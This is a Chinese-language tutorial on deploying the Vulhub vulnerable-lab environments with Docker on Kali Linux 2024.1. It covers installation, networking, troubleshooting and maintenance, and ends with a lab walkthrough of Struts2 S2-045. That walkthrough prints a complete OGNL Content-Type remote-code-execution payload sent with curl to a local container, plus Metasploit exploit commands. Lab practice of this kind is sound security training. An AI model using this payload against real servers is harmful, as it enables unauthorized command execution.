Kali Linux 2024.1 上 Docker 部署 Vulhub 靶场全流程实战指南在网络安全学习和研究中漏洞靶场是不可或缺的实践环境。本文将详细介绍如何在最新版 Kali Linux 2024.1 系统上使用 Docker 和 Docker-Compose 一键部署 Vulhub 漏洞靶场环境。不同于普通教程我们将重点关注实际部署过程中可能遇到的各种坑及其解决方案确保读者能够顺利完成部署并立即开始漏洞复现实践。1. 系统准备与环境配置在开始部署之前我们需要确保 Kali Linux 系统处于最佳状态。最新版的 Kali Linux 2024.1 已经预装了许多安全工具但仍需进行一些基础配置。首先更新系统软件包sudo apt update sudo apt upgrade -y这个命令会更新软件包列表并升级所有可升级的软件包。在 Kali Linux 中apt是推荐的包管理命令它整合了apt-get、apt-cache等功能使用更加简洁。注意如果在更新过程中遇到无法定位软件包或404 Not Found错误可能是软件源配置问题。可以尝试编辑/etc/apt/sources.list文件确保包含正确的Kali软件源。常见的Kali官方源配置如下deb http://http.kali.org/kali kali-rolling main non-free contrib更新完成后建议重启系统以确保所有更新生效sudo reboot2. Docker 安装与配置Vulhub 靶场基于 Docker 技术因此我们需要先安装 Docker 引擎。在 Kali Linux 2024.1 上安装 Docker 可能会遇到一些依赖问题以下是完整的解决方案。2.1 安装 Docker 依赖包首先安装必要的依赖包sudo apt install -y \ apt-transport-https \ ca-certificates \ curl \ gnupg \ lsb-release这些包提供了 HTTPS 传输支持、CA 证书管理等功能是 Docker 安装的基础。2.2 添加 Docker 官方 GPG 密钥为了确保下载的 Docker 包是官方且未被篡改的我们需要添加 Docker 的 GPG 密钥curl -fsSL https://download.docker.com/linux/debian/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg2.3 设置 Docker 稳定版仓库接下来添加 Docker 的稳定版仓库到 APT 源中echo \ deb [arch$(dpkg --print-architecture) signed-by/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/debian \ $(lsb_release -cs) stable | sudo tee /etc/apt/sources.list.d/docker.list /dev/null2.4 安装 Docker 引擎更新 APT 包索引并安装 Dockersudo apt update sudo apt install -y docker-ce docker-ce-cli containerd.io安装完成后验证 Docker 是否安装成功docker --version正常输出应类似于Docker version 24.0.5, build 24.0.5-0ubuntu1~22.04.12.5 解决常见安装问题在 Kali Linux 上安装 Docker 时可能会遇到以下问题及解决方案依赖冲突问题The following packages have unmet dependencies: docker-ce : Depends: containerd.io ( 1.2.2-3) but it is not going to be installed解决方法sudo apt --fix-broken install sudo apt install -f权限问题 默认情况下Docker 需要 root 权限。为避免每次使用sudo可以将当前用户加入 docker 组sudo usermod -aG docker $USER newgrp docker服务启动失败 如果 Docker 服务无法启动可以检查日志sudo systemctl status docker.service journalctl -xe3. Docker-Compose 安装与配置Vulhub 使用 Docker-Compose 来管理多个容器的编排因此我们需要安装 Docker-Compose。3.1 安装 Python pipDocker-Compose 是一个 Python 包因此需要先安装 pipsudo apt install -y python3-pip验证 pip 安装pip3 --version3.2 安装 Docker-Compose使用 pip 安装最新版 Docker-Composesudo pip3 install docker-compose提示如果安装速度慢可以使用国内镜像源sudo pip3 install docker-compose -i https://pypi.tuna.tsinghua.edu.cn/simple验证安装docker-compose --version正常输出应类似于docker-compose version 1.29.2, build unknown3.3 解决常见问题版本冲突问题 如果系统中已有旧版 Docker-Compose建议先卸载sudo pip3 uninstall docker-compose权限问题 如果遇到权限错误可以尝试pip3 install --user docker-compose然后确保~/.local/bin在 PATH 环境变量中。兼容性问题 某些 Vulhub 靶场可能需要特定版本的 Docker-Compose可以使用sudo pip3 install docker-compose1.25.04. Vulhub 靶场部署现在我们已经准备好了 Docker 和 Docker-Compose 环境可以开始部署 Vulhub 靶场了。4.1 下载 Vulhub 仓库使用 git 克隆 Vulhub 官方仓库git clone https://github.com/vulhub/vulhub.git cd vulhub如果下载速度慢可以考虑使用国内镜像git clone https://gitee.com/mirrors/vulhub.git cd vulhub4.2 启动靶场环境Vulhub 包含多个漏洞环境每个环境位于单独的目录中。以 Struts2 S2-045 漏洞为例cd struts2/s2-045 docker-compose up -d这个命令会下载所需镜像并启动容器。第一次运行可能需要一些时间下载镜像。查看运行状态docker-compose ps正常输出应显示容器状态为UpName Command State Ports --------------------------------------------------------------------------------- s2-045_struts2_1 catalina.sh run Up 0.0.0.0:8080-8080/tcp4.3 访问靶场根据docker-compose ps输出的端口信息可以在 Kali Linux 的浏览器中访问http://localhost:8080如果要从宿主机访问比如你的物理机需要知道 Kali Linux 虚拟机的 IP 地址ip a然后在宿主机浏览器中访问http://Kali-IP:80804.4 常见部署问题解决端口冲突 如果默认端口已被占用可以修改docker-compose.yml中的端口映射ports: - 8081:8080镜像下载失败 可以尝试配置 Docker 国内镜像加速器sudo mkdir -p /etc/docker sudo tee /etc/docker/daemon.json -EOF { registry-mirrors: [https://registry.docker-cn.com] } EOF sudo systemctl restart docker容器启动失败 查看容器日志docker-compose logs5. 网络配置与连通性测试为了确保靶场环境能够正常工作我们需要进行网络连通性测试。5.1 查看 Docker 网络Docker 会创建一个默认的桥接网络docker network ls查看网络详情docker network inspect bridge5.2 容器与宿主机通信在 Kali Linux 中测试与容器的连通性获取容器 IPdocker inspect -f {{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}} container_name测试连通性ping container_ip5.3 宿主机访问容器如果要从物理机访问 Kali Linux 中运行的 Docker 容器确保 Kali Linux 网络设置为桥接模式Bridged而非 NAT 模式在物理机上测试与 Kali Linux 的连通性确保 Kali Linux 防火墙允许相关端口sudo ufw allow 8080/tcp5.4 高级网络配置对于复杂的网络环境可能需要配置路由在 Windows 宿主机上管理员权限route add 172.17.0.0 mask 255.255.0.0 Kali-IP在 Linux/Mac 宿主机上sudo route add -net 172.17.0.0/16 gw Kali-IP6. 靶场管理与维护6.1 停止靶场环境在靶场目录下执行docker-compose down这会停止并移除容器但保留镜像和数据卷。6.2 彻底清理环境要完全清理包括匿名数据卷docker-compose down -v6.3 更新 Vulhub定期更新 Vulhub 以获取最新漏洞环境cd ~/vulhub git pull6.4 资源监控查看 Docker 资源使用情况docker stats查看磁盘空间使用docker system df7. 实战案例Struts2 S2-045 漏洞复现为了展示 Vulhub 的实际用途我们以 Struts2 S2-045 漏洞为例进行复现。7.1 启动环境确保已按照前面步骤启动了 s2-045 环境cd ~/vulhub/struts2/s2-045 docker-compose up -d7.2 漏洞验证使用 curl 测试漏洞curl -H Content-Type: %{(#nikemultipart/form-data).(#dmognl.OgnlContextDEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess#dm):((#container#context[com.opensymphony.xwork2.ActionContext.container]).(#ognlUtil#container.getInstance(com.opensymphony.xwork2.ognl.OgnlUtilclass)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmdid).(#iswin(java.lang.SystemgetProperty(os.name).toLowerCase().contains(win))).(#cmds(#iswin?{cmd.exe,/c,#cmd}:{/bin/bash,-c,#cmd})).(#pnew java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process#p.start()).(#ros(org.apache.struts2.ServletActionContextgetResponse().getOutputStream())).(org.apache.commons.io.IOUtilscopy(#process.getInputStream(),#ros)).(#ros.flush())} http://localhost:8080/showcase.action如果漏洞存在会返回当前用户的 id 信息。7.3 漏洞利用使用 Metasploit 框架进行利用启动 msfconsolemsfconsole搜索并选择漏洞模块search struts2 s2-045 use exploit/multi/http/struts2_content_type_ognl设置参数并执行set RHOSTS localhost set RPORT 8080 set TARGETURI /showcase.action exploit7.4 防御措施了解漏洞原理后可以采取以下防御措施升级 Struts2 到最新版本添加 Web 应用防火墙规则限制不必要的文件上传功能8. 性能优化与最佳实践8.1 Docker 性能调优限制资源使用 在docker-compose.yml中添加资源限制services: struts2: image: vulhub/struts2:2.3.32 deploy: resources: limits: cpus: 0.5 memory: 512M使用 .dockerignore 创建.dockerignore文件排除不必要的文件加速构建。清理无用资源 定期清理docker system prune -a8.2 安全最佳实践不使用 root 用户运行容器services: struts2: user: 1000:1000只读文件系统services: struts2: read_only: true网络隔离 为不同靶场创建独立网络networks: vulhub-net: driver: bridge8.3 备份与恢复备份重要数据docker run --rm --volumes-from container_name -v $(pwd):/backup alpine tar cvf /backup/backup.tar /path/to/data恢复数据docker run --rm --volumes-from container_name -v $(pwd):/backup alpine tar xvf /backup/backup.tar -C /path/to/restore9. 常见问题速查表问题现象可能原因解决方案docker-compose up 失败端口被占用修改 docker-compose.yml 中的端口映射无法访问靶场防火墙阻止检查并配置防火墙规则容器启动后立即退出资源不足增加 Docker 资源分配镜像下载超时网络问题配置 Docker 镜像加速器权限被拒绝SELinux 限制禁用或配置 SELinux 策略10. 扩展学习资源官方文档Docker 文档https://docs.docker.com/Vulhub 文档https://vulhub.org/进阶书籍《Docker 从入门到实践》《Kali Linux 高级渗透测试》在线课程Docker 官方培训网络安全实战课程社区支持Docker 官方论坛Vulhub GitHub Issues在实际使用中我发现最常遇到的问题往往是网络配置和权限问题。建议新手在遇到问题时首先检查网络连通性和服务日志这能解决大部分部署问题。对于 Kali Linux 2024.1 这样的最新系统保持系统更新也很重要可以避免许多兼容性问题。